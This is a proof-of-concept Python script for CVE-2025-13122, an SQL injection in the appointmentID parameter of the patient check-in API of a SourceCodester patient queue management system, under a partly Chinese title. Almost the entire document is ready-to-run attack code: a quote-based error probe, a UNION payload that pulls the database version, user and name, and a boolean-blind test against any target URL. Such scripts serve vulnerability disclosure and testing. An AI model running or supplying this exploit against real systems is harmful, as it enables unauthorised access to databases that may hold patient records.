CVE-2025-13122: SourceCodester Patients Waiting Area Queue Management System SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-13122 PoC - SQL Injection in SourceCodester Patients Waiting Area Queue Management System Affected File: /php/api_patient_checkin.php Vulnerable Function: getPatientAppointment Vulnerable Parameter: appointmentID """ import requests import sys def test_sql_injection(url, param_value): """Test for SQL injection vulnerability""" target_url = f"{url}/php/api_patient_checkin.php" params = {'appointmentID': param_value} try: response = requests.get(target_url, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def basic_injection_test(url): """Basic injection test with single quote""" print("[*] Testing basic SQL injection...") payload = "'" response = test_sql_injection(url, payload) if response and ("error" in response.text.lower() or "sql" in response.text.lower() or response.status_code != 200): print("[+] Potential SQL injection detected!") return True return False def union_based_injection(url): """UNION-based SQL injection to extract database info""" print("[*] Testing UNION-based SQL injection...") # Get database version payload = "' UNION SELECT NULL,version(),user(),database() --" response = test_sql_injection(url, payload) if response: print(f"[+] Response: {response.text[:500]}") return response def boolean_blind_injection(url): """Boolean-based blind SQL injection test""" print("[*] Testing boolean-based blind SQL injection...") # True condition true_payload = "' AND 1=1 --" # False condition false_payload = "' AND 1=2 --" true_response = test_sql_injection(url, true_payload) false_response = test_sql_injection(url, false_payload) if true_response and false_response: if len(true_response.text) != len(false_response.text): print("[+] Boolean-based blind SQL injection confirmed!") return True return False def main(): if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://target.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') print(f"[*] Target: {target_url}") print(f"[*] CVE: CVE-2025-13122") print(f"[*] Vulnerability: SQL Injection in api_patient_checkin.php") print("-" * 50) basic_injection_test(target_url) union_based_injection(target_url) boolean_blind_injection(target_url) print("\n[*] PoC completed. Manual verification recommended.") if __name__ == "__main__": main()